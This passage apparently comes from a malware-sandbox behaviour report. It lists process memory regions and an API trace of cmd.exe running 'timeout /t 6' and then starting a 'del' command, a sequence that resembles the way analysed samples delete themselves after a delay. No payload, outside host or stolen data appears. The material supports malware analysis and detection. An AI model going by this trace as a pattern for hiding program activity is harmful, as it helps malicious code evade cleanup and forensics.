monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffc71e61000"
filename = ""
Region:
id = 1227
start_va = 0x400000
end_va = 0x53ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1228
start_va = 0x59f40000
end_va = 0x59f8ffff
monitored = 0
entry_point = 0x59f58180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 1229
start_va = 0x59fa0000
end_va = 0x5a019fff
monitored = 0
entry_point = 0x59fb3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 1230
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1231
start_va = 0x59f90000
end_va = 0x59f97fff
monitored = 0
entry_point = 0x59f917c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 1232
start_va = 0x540000
end_va = 0x6fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000540000"
filename = ""
Region:
id = 1233
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1234
start_va = 0x76920000
end_va = 0x76a9dfff
monitored = 0
entry_point = 0x769d1b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 1235
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1236
start_va = 0x7f0b0000
end_va = 0x7f1affff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f0b0000"
filename = ""
Region:
id = 1576
start_va = 0x400000
end_va = 0x4bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1577
start_va = 0x530000
end_va = 0x53ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 1578
start_va = 0x74910000
end_va = 0x749cdfff
monitored = 0
entry_point = 0x74945630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 1579
start_va = 0x4c0000
end_va = 0x4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004c0000"
filename = ""
Region:
id = 1580
start_va = 0x700000
end_va = 0x7fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000700000"
filename = ""
Region:
id = 1581
start_va = 0x4990000
end_va = 0x4b1ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004990000"
filename = ""
Region:
id = 1582
start_va = 0x60000
end_va = 0x63fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 1586
start_va = 0x1d0000
end_va = 0x1d3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001d0000"
filename = ""
Region:
id = 1587
start_va = 0x4b20000
end_va = 0x4e56fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Thread:
id = 136
os_tid = 0x13e4
[0078.706] GetProcAddress (hModule=0x76840000, lpProcName="SetConsoleInputExeNameW") returned 0x76a3b440
[0078.706] GetProcessHeap () returned 0x600000
[0078.706] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x400a) returned 0x60c508
[0078.706] GetProcessHeap () returned 0x600000
[0078.707] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x60c508) returned 1
[0078.707] _wcsicmp (_String1="timeout", _String2=")") returned 75
[0078.707] _wcsicmp (_String1="FOR", _String2="timeout") returned -14
[0078.707] _wcsicmp (_String1="FOR/?", _String2="timeout") returned -14
[0078.707] _wcsicmp (_String1="IF", _String2="timeout") returned -11
[0078.707] _wcsicmp (_String1="IF/?", _String2="timeout") returned -11
[0078.707] _wcsicmp (_String1="REM", _String2="timeout") returned -2
[0078.707] _wcsicmp (_String1="REM/?", _String2="timeout") returned -2
[0078.707] GetProcessHeap () returned 0x600000
[0078.708] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x58) returned 0x6091b8
[0078.708] GetProcessHeap () returned 0x600000
[0078.708] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x18) returned 0x607b80
[0078.708] GetProcessHeap () returned 0x600000
[0078.708] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x16) returned 0x6077c0
[0078.708] GetProcessHeap () returned 0x600000
[0078.708] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x58) returned 0x609218
[0078.709] _wcsicmp (_String1="del", _String2=")") returned 59
[0078.709] _wcsicmp (_String1="FOR", _String2="del") returned 2
[0078.709] _wcsicmp (_String1="FOR/?", _String2="del") returned 2
[0078.709] _wcsicmp (_String1="IF", _String2="del") returned 5
[0078.709] _wcsicmp (_String1="IF/?", _String2="del") returned 5
[0078.709] _wcsicmp (_String1="REM", _String2="del") returned 14
[0078.709] _wcsicmp (_String1="REM/?", _String2="del") returned 14
[0078.709] GetProcessHeap () returned 0x600000
[0078.709] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x58) returned 0x609278
[0078.709] GetProcessHeap () returned 0x600000
[0078.709] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x10) returned 0x600578
[0078.714] GetProcessHeap () returned 0x600000
[0078.714] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xe2) returned 0x6092d8
[0078.714] GetProcessHeap () returned 0x600000
[0078.714] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x58) returned 0x6093c8
[0078.715] _wcsicmp (_String1="exit", _String2=")") returned 60
[0078.715] _wcsicmp (_String1="FOR", _String2="exit") returned 1
[0078.715] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1
[0078.715] _wcsicmp (_String1="IF", _String2="exit") returned 4
[0078.715] _wcsicmp (_String1="IF/?", _String2="exit") returned 4
[0078.715] _wcsicmp (_String1="REM", _String2="exit") returned 13
[0078.715] _wcsicmp (_String1="REM/?", _String2="exit") returned 13
[0078.715] GetProcessHeap () returned 0x600000
[0078.715] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x58) returned 0x609428
[0078.715] GetProcessHeap () returned 0x600000
[0078.715] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x12) returned 0x6078c0
[0078.716] GetConsoleTitleW (in: lpConsoleTitle=0x1af9e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0078.785] _wcsicmp (_String1="timeout", _String2="DIR") returned 16
[0078.786] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15
[0078.786] _wcsicmp (_String1="timeout", _String2="DEL") returned 16
[0078.786] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16
[0078.786] _wcsicmp (_String1="timeout", _String2="COPY") returned 17
[0078.786] _wcsicmp (_String1="timeout", _String2="CD") returned 17
[0078.786] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17
[0078.786] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2
[0078.786] _wcsicmp (_String1="timeout", _String2="REN") returned 2
[0078.786] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15
[0078.786] _wcsicmp (_String1="timeout", _String2="SET") returned 1
[0078.786] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4
[0078.786] _wcsicmp (_String1="timeout", _String2="DATE") returned 16
[0078.786] _wcsicmp (_String1="timeout", _String2="TIME") returned 111
[0078.786] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4
[0078.786] _wcsicmp (_String1="timeout", _String2="MD") returned 7
[0078.786] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7
[0078.786] _wcsicmp (_String1="timeout", _String2="RD") returned 2
[0078.786] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2
[0078.786] _wcsicmp (_String1="timeout", _String2="PATH") returned 4
[0078.786] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13
[0078.786] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1
[0078.786] _wcsicmp (_String1="timeout", _String2="CLS") returned 17
[0078.786] _wcsicmp (_String1="timeout", _String2="CALL") returned 17
[0078.786] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2
[0078.786] _wcsicmp (_String1="timeout", _String2="VER") returned -2
[0078.786] _wcsicmp (_String1="timeout", _String2="VOL") returned -2
[0078.786] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15
[0078.786] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1
[0078.786] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15
[0078.786] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7
[0078.786] _wcsicmp (_String1="timeout", _String2="START") returned 1
[0078.786] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16
[0078.787] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9
[0078.787] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7
[0078.787] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4
[0078.787] _wcsicmp (_String1="timeout", _String2="POPD") returned 4
[0078.787] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19
[0078.787] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14
[0078.787] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18
[0078.787] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17
[0078.787] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7
[0078.787] _wcsicmp (_String1="timeout", _String2="DIR") returned 16
[0078.787] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15
[0078.787] _wcsicmp (_String1="timeout", _String2="DEL") returned 16
[0078.787] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16
[0078.787] _wcsicmp (_String1="timeout", _String2="COPY") returned 17
[0078.787] _wcsicmp (_String1="timeout", _String2="CD") returned 17
[0078.787] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17
[0078.787] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2
[0078.787] _wcsicmp (_String1="timeout", _String2="REN") returned 2
[0078.787] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15
[0078.787] _wcsicmp (_String1="timeout", _String2="SET") returned 1
[0078.787] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4
[0078.787] _wcsicmp (_String1="timeout", _String2="DATE") returned 16
[0078.787] _wcsicmp (_String1="timeout", _String2="TIME") returned 111
[0078.787] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4
[0078.787] _wcsicmp (_String1="timeout", _String2="MD") returned 7
[0078.787] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7
[0078.787] _wcsicmp (_String1="timeout", _String2="RD") returned 2
[0078.787] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2
[0078.787] _wcsicmp (_String1="timeout", _String2="PATH") returned 4
[0078.787] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13
[0078.787] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1
[0078.787] _wcsicmp (_String1="timeout", _String2="CLS") returned 17
[0078.787] _wcsicmp (_String1="timeout", _String2="CALL") returned 17
[0078.788] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2
[0078.788] _wcsicmp (_String1="timeout", _String2="VER") returned -2
[0078.788] _wcsicmp (_String1="timeout", _String2="VOL") returned -2
[0078.788] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15
[0078.788] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1
[0078.788] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15
[0078.788] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7
[0078.788] _wcsicmp (_String1="timeout", _String2="START") returned 1
[0078.788] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16
[0078.788] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9
[0078.788] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7
[0078.788] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4
[0078.788] _wcsicmp (_String1="timeout", _String2="POPD") returned 4
[0078.788] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19
[0078.788] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14
[0078.788] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18
[0078.788] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17
[0078.788] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7
[0078.788] _wcsicmp (_String1="timeout", _String2="FOR") returned 14
[0078.788] _wcsicmp (_String1="timeout", _String2="IF") returned 11
[0078.788] _wcsicmp (_String1="timeout", _String2="REM") returned 2
[0078.789] GetProcessHeap () returned 0x600000
[0078.789] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x210) returned 0x609488
[0078.789] GetProcessHeap () returned 0x600000
[0078.789] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x26) returned 0x6096a0
[0078.789] _wcsnicmp (_String1="time", _String2="cmd ", _MaxCount=0x4) returned 17
[0078.789] GetProcessHeap () returned 0x600000
[0078.789] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x418) returned 0x6005c8
[0078.789] SetErrorMode (uMode=0x0) returned 0x0
[0078.789] SetErrorMode (uMode=0x1) returned 0x0
[0078.789] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6005d0, lpFilePart=0x1af4ec | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0x1af4ec*="Desktop") returned 0x1d
[0078.789] SetErrorMode (uMode=0x0) returned 0x1
[0078.789] GetProcessHeap () returned 0x600000
[0078.789] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x6005c8, Size=0x54) returned 0x6005c8
[0078.789] GetProcessHeap () returned 0x600000
[0078.789] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6005c8) returned 0x54
[0078.790] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x95f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x9c
[0078.790] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
[0078.790] GetProcessHeap () returned 0x600000
[0078.790] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x182) returned 0x600628
[0078.790] GetProcessHeap () returned 0x600000
[0078.790] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2fc) returned 0x6007b8
[0078.799] GetProcessHeap () returned 0x600000
[0078.799] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x6007b8, Size=0x184) returned 0x6007b8
[0078.799] GetProcessHeap () returned 0x600000
[0078.799] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x6007b8) returned 0x184
[0078.799] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x95f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35
[0078.799] GetProcessHeap () returned 0x600000
[0078.799] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xe0) returned 0x600948
[0078.799] GetProcessHeap () returned 0x600000
[0078.799] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x600948, Size=0x76) returned 0x600948
[0078.799] GetProcessHeap () returned 0x600000
[0078.799] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x600948) returned 0x76
[0078.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0078.800] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\timeout.*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\timeout.*"), fInfoLevelId=0x1, lpFindFileData=0x1af278, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af278) returned 0xffffffff
[0078.800] GetLastError () returned 0x2
[0078.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0078.800] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\timeout.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\timeout.*"), fInfoLevelId=0x1, lpFindFileData=0x1af278, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af278) returned 0xffffffff
[0078.801] GetLastError () returned 0x2
[0078.801] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0078.801] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.*" (normalized: "c:\\windows\\syswow64\\timeout.*"), fInfoLevelId=0x1, lpFindFileData=0x1af278, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af278) returned 0x6009c8
[0078.802] GetProcessHeap () returned 0x600000
[0078.802] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x14) returned 0x607980
[0078.802] FindClose (in: hFindFile=0x6009c8 | out: hFindFile=0x6009c8) returned 1
[0078.802] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.COM" (normalized: "c:\\windows\\syswow64\\timeout.com"), fInfoLevelId=0x1, lpFindFileData=0x1af278, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af278) returned 0xffffffff
[0078.802] GetLastError () returned 0x2
[0078.802] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.EXE" (normalized: "c:\\windows\\syswow64\\timeout.exe"), fInfoLevelId=0x1, lpFindFileData=0x1af278, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af278) returned 0x6009c8
[0078.802] GetProcessHeap () returned 0x600000
[0078.802] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x607980, Size=0x4) returned 0x600590
[0078.802] FindClose (in: hFindFile=0x6009c8 | out: hFindFile=0x6009c8) returned 1
[0078.802] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
[0078.802] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
[0078.802] GetConsoleTitleW (in: lpConsoleTitle=0x1af76c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0078.912] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af698, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af67c | out: lpAttributeList=0x1af698, lpSize=0x1af67c) returned 1
[0078.912] UpdateProcThreadAttribute (in: lpAttributeList=0x1af698, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af684, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af698, lpPreviousValue=0x0) returned 1
[0078.912] GetStartupInfoW (in: lpStartupInfo=0x1af6d0 | out: lpStartupInfo=0x1af6d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0078.912] GetProcessHeap () returned 0x600000
[0078.912] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x18) returned 0x6079e0
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
[0078.912] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
[0078.913] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
[0078.913] GetProcessHeap () returned 0x600000
[0078.913] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x6079e0) returned 1
[0078.914] GetProcessHeap () returned 0x600000
[0078.914] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xa) returned 0x6096d0
[0078.914] lstrcmpW (lpString1="\\timeout.exe", lpString2="\\XCOPY.EXE") returned -1
[0078.915] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\timeout.exe", lpCommandLine="timeout /t 6 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpStartupInfo=0x1af620*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="timeout /t 6 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af66c | out: lpCommandLine="timeout /t 6 ", lpProcessInformation=0x1af66c*(hProcess=0xa8, hThread=0xa4, dwProcessId=0xce0, dwThreadId=0x8f0)) returned 1
[0078.941] CloseHandle (hObject=0xa4) returned 1
[0078.941] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
[0078.941] GetProcessHeap () returned 0x600000
[0078.941] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x60b960) returned 1
[0078.942] GetEnvironmentStringsW () returned 0x60a250*
[0078.942] GetProcessHeap () returned 0x600000
[0078.942] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xb9c) returned 0x60adf8
[0078.942] memcpy (in: _Dst=0x60adf8, _Src=0x60a250, _Size=0xb9c | out: _Dst=0x60adf8) returned 0x60adf8
[0078.942] FreeEnvironmentStringsA (penv="=") returned 1
[0078.942] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xffffffff) returned 0x0
[0086.894] GetExitCodeProcess (in: hProcess=0xa8, lpExitCode=0x1af604 | out: lpExitCode=0x1af604*=0x0) returned 1
[0086.894] CloseHandle (hObject=0xa8) returned 1
[0086.895] _vsnwprintf (in: _Buffer=0x1af6ec, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af60c | out: _Buffer="00000000") returned 8
[0086.895] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
[0086.896] GetProcessHeap () returned 0x600000
[0086.896] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x60adf8) returned 1
[0086.896] GetEnvironmentStringsW () returned 0x60a250*
[0086.896] GetProcessHeap () returned 0x600000
[0086.896] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xbc2) returned 0x60c570
[0086.896] memcpy (in: _Dst=0x60c570, _Src=0x60a250, _Size=0xbc2 | out: _Dst=0x60c570) returned 0x60c570
[0086.896] FreeEnvironmentStringsA (penv="=") returned 1
[0086.896] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
[0086.896] GetProcessHeap () returned 0x600000
[0086.897] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x60c570) returned 1
[0086.897] GetEnvironmentStringsW () returned 0x60a250*
[0086.897] GetProcessHeap () returned 0x600000
[0086.897] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xbc2) returned 0x60c570
[0086.897] memcpy (in: _Dst=0x60c570, _Src=0x60a250, _Size=0xbc2 | out: _Dst=0x60c570) returned 0x60c570
[0086.897] FreeEnvironmentStringsA (penv="=") returned 1
[0086.897] GetProcessHeap () returned 0x600000
[0086.897] RtlFreeHeap (HeapHandle=0x600000, Flags=0x0, BaseAddress=0x6096d0) returned 1
[0086.897] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af698 | out: lpAttributeList=0x1af698)
[0086.897] GetConsoleTitleW (in: lpConsoleTitle=0x1af980, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0087.008] _wcsicmp (_String1="del", _String2="DIR") returned -4
[0087.008] _wcsicmp (_String1="del", _String2="ERASE") returned -1
[0087.008] _wcsicmp (_String1="del", _String2="DEL") returned 0
[0087.008] GetProcessHeap () returned 0x600000
[0087.008] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1bc) returned 0x600eb8
[0087.008] GetProcessHeap () returned 0x600000
[0087.008] RtlReAllocateHeap (Heap=0x600000, Flags=0x0, Ptr=0x600eb8, Size=0xe4) returned 0x600eb8
[0087.008] GetProcessHeap () returned 0x600000
[0087.008] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x600eb8) returned 0xe4
[0087.009] GetProcessHeap () returned 0x600000
[0087.009] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xea) returned 0x600fa8
[0087.009] GetProcessHeap () returned 0x600000
